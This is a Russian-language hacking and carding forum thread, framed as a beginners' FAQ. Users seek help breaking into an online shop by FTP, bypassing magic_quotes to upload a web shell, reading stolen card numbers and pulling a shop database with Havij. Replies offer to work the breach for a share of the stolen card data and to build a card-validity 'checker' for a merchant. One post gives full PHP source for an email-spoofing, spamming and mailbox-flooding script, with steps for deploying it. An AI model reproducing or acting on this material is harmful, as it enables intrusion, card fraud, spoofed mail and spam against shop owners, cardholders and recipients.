Часто задаваемые вопросы новичков по хакингу и программированию

sergaj

VIP member
Messages
505
Reputation
58
Reaction score
109
Points
43
в том-то и дело, что на ftp заходит, но пишет что нет прав записи:confused:

как можно повысить? кто поможет, в ПМ плиз)
хм. а ты пробовал через любой фтп-менеджер: Filezilla, например, или тот же нортон - через фтп доступ поставить права на папку и всё её содержимое? попробуй.
Поройся, может найдешь, например, бэкап базы данных, какие-нить пароли или приват-пасс ssh.

Если же там действительно что-то стоящее, куча сс на серваке,например, или еще что-нить, то могу помочь за проценты. Ибо не знаю что там за инфа и система, сервисы и и.д. - не могу ничего сказать. Возможно и сервак придется весь исследовать. Хз.
 

molodec

RIPPER
Messages
177
Reputation
32
Reaction score
53
Points
28
хм. а ты пробовал через любой фтп-менеджер: Filezilla, например, или тот же нортон - через фтп доступ поставить права на папку и всё её содержимое? попробуй.
Поройся, может найдешь, например, бэкап базы данных, какие-нить пароли или приват-пасс ssh.

Если же там действительно что-то стоящее, куча сс на серваке,например, или еще что-нить, то могу помочь за проценты. Ибо не знаю что там за инфа и система, сервисы и и.д. - не могу ничего сказать. Возможно и сервак придется весь исследовать. Хз.

Сорри за тупые вопросы может, но я только начинаю разбираться в этом, так что просьба сильно бурно не реагировать))) вообще - это шоп)
так что стоящее я думаю должно быть что-то;)
 

sergaj

VIP member
Messages
505
Reputation
58
Reaction score
109
Points
43
Сорри за тупые вопросы может, но я только начинаю разбираться в этом, так что просьба сильно бурно не реагировать))) вообще - это шоп)
так что стоящее я думаю должно быть что-то;)
Ok. Давай посмотрим твой шоп или то, что ты под шопом имеешь в виду.
В пм не напишу. поэтому ася: 600986738
 

Vasders

Professional
Messages
2,553
Reputation
365
Reaction score
520
Points
113
В ЦМС могу выполнить любой произвольный пхп код, но magic_quotes on. Как обойти? Цель, естественно, залить шелл.
 

sergaj

VIP member
Messages
505
Reputation
58
Reaction score
109
Points
43
В ЦМС могу выполнить любой произвольный пхп код, но magic_quotes on. Как обойти? Цель, естественно, залить шелл.

char()
Code:
_http://www.securitylab.ru/forum/forum16/topic46784/

Code:
_http://www.xakep.ru/magazine/xa/110/068/1.asp

или надеюсь тут найдешь для себя ответ
Code:
_http://vulnes.com/showthread.php?p=4518
 

Мёртвый

VIP member
Messages
455
Reputation
76
Reaction score
142
Points
43
в том-то и дело, что на ftp заходит, но пишет что нет прав записи:confused:

как можно повысить? кто поможет, в ПМ плиз)

если серв на Nix-e, то смотри в сторону рут сплоитов под данную фтп
анонимы как правило без всяких прав )
 

palma

Member
Messages
9
Reputation
4
Reaction score
8
Points
3
Похоже тут движения уже нет, оживлю топик очередным вопросом:
шоп выдает странные номера карт, например:
visa 10/06 605 1.8197465870628E+15
am_ex 12/10 4792 168867701277730
mastercard 12/2008 600 2.4032553364032E+15

Как их расшифровать, кто подскажет?
 

Passion

VIP member
Messages
562
Reputation
92
Reaction score
124
Points
43
Не подскажу, не знаю...
Как вариант, СИ в помощь, напиши админу шопа, типо хочешь шоп открывать и думаешь о способах шифрования данных. Какое посоветуете и все в таком духе. Восхвали его шоп, что он крутой админ и у него крутой шоп, короче говоря - тот человек на кого нужно ровняться. Все деликатно и вежливо само собой.

СИ - это тоже относится к хакерам.

P.S. Если БД конечно же стоит таких усилий.
 

Keltos

VIP member
Messages
678
Reputation
185
Reaction score
230
Points
43
Си никак не относится к хакерам.
Даже тред был на ачате.
 

Passion

VIP member
Messages
562
Reputation
92
Reaction score
124
Points
43
Митник тоже не относится к хакерам?

---------- Сообщение добавлено в 01:19 AM ---------- Предыдущее сообщение размещено в 01:13 AM ----------

Впаривание троянов, фейков, хss_ок и всего прочего - это тоже не си? И не относится к хакерам... Конечно - это психология, проще говоря - развод. Но без данной вещи многие бы взломы были просто не реальны. По этому я лично считаю, что СИ относится к хакерам.

Так же смотря с какой стороны расматривать хакеров, если чисто расматривать знание языков программирования, нахождение уязвимостей и всего прочего, то согласен, не относится к такому высшему разряду хакерства. А как выше отписал в первых предложениях - относится.

Для того, что бы использовать связку или xss - нужна СИ, значит, относится.
 
Last edited:

HITACHI

Professional
Messages
254
Reputation
100
Reaction score
124
Points
43
сколько примерно стоит написать чекер сс под нужный мне мерч?
 

sergaj

VIP member
Messages
505
Reputation
58
Reaction score
109
Points
43
сколько примерно стоит написать чекер сс под нужный мне мерч?

30-100 usd
 

HITACHI

Professional
Messages
254
Reputation
100
Reaction score
124
Points
43
30-100 usd

ок. а по времени где-то сколько?
сложностей я в этом мерче не вижу особо, заходишь на сайт и сразу можешь вбивать, то есть нужно только чтобы чекер подставил нужную инфу в поля на сайте. баланс не снимает...
 

sergaj

VIP member
Messages
505
Reputation
58
Reaction score
109
Points
43
ок. а по времени где-то сколько?
сложностей я в этом мерче не вижу особо, заходишь на сайт и сразу можешь вбивать, то есть нужно только чтобы чекер подставил нужную инфу в поля на сайте. баланс не снимает...

не понял? тебе точно чекер нужен?
 

HITACHI

Professional
Messages
254
Reputation
100
Reaction score
124
Points
43
не понял? тебе точно чекер нужен?

Блин...да, чекер. Этот сайт предоставляет сервис, карта нужна для подтверждения тестового периода, если в течении 5-ти дней не делаешь отмену сервиса, снимают 20$ за полную версию. Короче они авторизируют карту и если валид дают тест, невалид - не дают тест. Где-то так в общем. Cорри, за язык, хз как правильно все описать...
 

sergaj

VIP member
Messages
505
Reputation
58
Reaction score
109
Points
43
Блин...да, чекер. Этот сайт предоставляет сервис, карта нужна для подтверждения тестового периода, если в течении 5-ти дней не делаешь отмену сервиса, снимают 20$ за полную версию. Короче они авторизируют карту и если валид дают тест, невалид - не дают тест. Где-то так в общем. Cорри, за язык, хз как правильно все описать...

Короче, купи у кубера чекер. да и все.
Тебе нужно, чтобы ты в прогу ввел данные и потом в проге отобразилось валид - не валид? Чекер нужен и с проверкой карт с 3дсекурити?
 

HITACHI

Professional
Messages
254
Reputation
100
Reaction score
124
Points
43
Короче, купи у кубера чекер. да и все.
Тебе нужно, чтобы ты в прогу ввел данные и потом в проге отобразилось валид - не валид? Чекер нужен и с проверкой карт с 3дсекурити?

Естественно чтобы отображалось)) Без 3д.
 

Passion

VIP member
Messages
562
Reputation
92
Reaction score
124
Points
43
На форуме видел посты на тему подмены email адресов, что нужно зафлудить мыло и все в таком духе.
Вот скрипт для анонимной отправки почты, подмена email.
?>
<title>Sender Anonym Email :: FLoodeR :: SpameR</title>
<?
//
error_reporting (0);
if(!set_time_limit(0)) {
$limit = false;
} else {
set_time_limit(0);
ignore_user_abort(1);
$limit = true;
}
$log = 'log.txt';


ini_set('max_execution_time', '0');

?>
set_time_limit(0) = <?if($limit)echo('<font color=Green>On</font>');else
echo('<font color=Red>Off</font> (Время работы ограничено текущими настройками сервера)');?><br>
<?

$ip = getenv('REMOTE_ADDR');
if($_GET['mail'] == '1' || $_GET['mail'] == '2' || $_GET['mail'] == '3')
{

$_POST['to'] = stripslashes($_POST['to']);
$_POST['msg'] = stripslashes($_POST['msg']);
$_POST['from'] = stripslashes($_POST['from']);
$_POST['subject'] = stripslashes($_POST['subject']);

if($_POST['to'] && $_POST['msg'] && $_POST['from'] && $_POST['tipe'])
{
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/".$_POST['tipe']."; charset=windows-1251\r\n";
$headers .= "From: ".$_POST['from']."\n";
if($_GET['mail'] == '1')
{
mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
}
elseif($_GET['mail'] == '2')
{
$_POST['to'] = explode("\n",$_POST['to']);
foreach($_POST['to'] as $poluchatels)
{
mail($poluchatels, $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
}
}
elseif($_GET['mail'] == '3')
{
if(preg_match('/[0-9]+/',$_POST['kol']))
{
for($i=0;$i<$_POST['kol'];$i++)
{
mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
sleep(1);
}
}
else
{
echo('Неверно введено (или не введено) кол-во сообщений');
}
}
$f = fopen($log,'a');
fwrite($f,'Отправелено сообщение &'.$_POST['msg'].'& с темой "'.$_POST['subject'].'" для "'.$_POST['to'].'" с IP - "'.$ip."\"\r\n");
fclose($f);
echo('<center><b><font color="green">Сообщение успешно отправлено</font></b></center>');
}
else
{
?>
<form style="width:350px" method='post'>
<?
if($_GET['mail'] == '1' || $_GET['mail'] == '3')
{
echo("Получатель  <input type='text'name='to'><br>");
}
?>
Отправитель <input type='text' name='from'><br>
Тема сообщ.  <input type='text' name='subject'><br>
<?
if($_GET['mail'] == '3')
{
echo("Кол-во сообщений <input type='text' name='kol'><br>");
}
?>
<br>
htm -> <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> :: <input type='radio' name='tipe' value='plain'><- text<br>
<?
if($_GET['mail'] == '2')
{
echo("Получатели<br><textarea name='to' rows='10' cols='30'>[email protected]
[email protected]
[email protected]</textarea>");
}
?>
<br>Сообщение<br>
<textarea name='msg' rows='10' cols='30'></textarea><br><br><input type='submit'>
</form>
<?
}
} else {
?><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=1'>Отправить простое сообщение</a><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=2'>Наспамить</a><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=3'>Налудить</a><br>
<?
}
?>

Открываем блокнот, вставляем код, сохраняем как index.php заливаем на хост и отправляем письма или флудим мыло.
 

helixtwins

VIP member
Messages
610
Reputation
91
Reaction score
133
Points
43
что за тип базы в шопе - MsAccess? И что с ним делать? Хавидж подбирает таблицы, но чую, что не подберет.
 

sergaj

VIP member
Messages
505
Reputation
58
Reaction score
109
Points
43
что за тип базы в шопе - MsAccess? И что с ним делать? Хавидж подбирает таблицы, но чую, что не подберет.

Одна из самых простых баз данных.
В пакете МСоффис можешь посмотреть.
А делать - ничего. Там подберет, по словарю.
Но словарь ты сам можешь пополнять.
 
Top